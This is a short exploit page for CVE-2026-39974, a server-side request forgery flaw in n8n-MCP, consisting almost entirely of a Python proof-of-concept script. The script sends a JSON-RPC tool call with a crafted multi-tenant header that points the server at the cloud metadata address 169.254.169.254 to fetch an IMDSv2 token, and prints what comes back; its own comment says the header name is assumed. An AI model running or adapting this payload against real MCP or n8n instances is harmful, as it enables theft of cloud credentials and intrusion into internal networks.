CVE-2026-39974 n8n-MCP 服务端请求伪造漏洞

import requests import json # Configuration target_host = "http://vulnerable-n8n-mcp-instance:port" auth_token = "VALID_AUTH_TOKEN_HERE" # Internal target to fetch (e.g., AWS IMDSv2 Token) ssrf_target = "http://169.254.169.254/latest/api/token" # Headers simulating the multi-tenant HTTP request headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json", # The specific header name depends on implementation, assuming 'X-Multi-Tenant-Url' "X-Multi-Tenant-Url": ssrf_target } # JSON-RPC Payload structure payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "read_documentation" }, "id": 1 } try: print(f"[*] Sending SSRF request to {target_host}...") response = requests.post(target_host, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Request successful!") print("[+] Response Body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")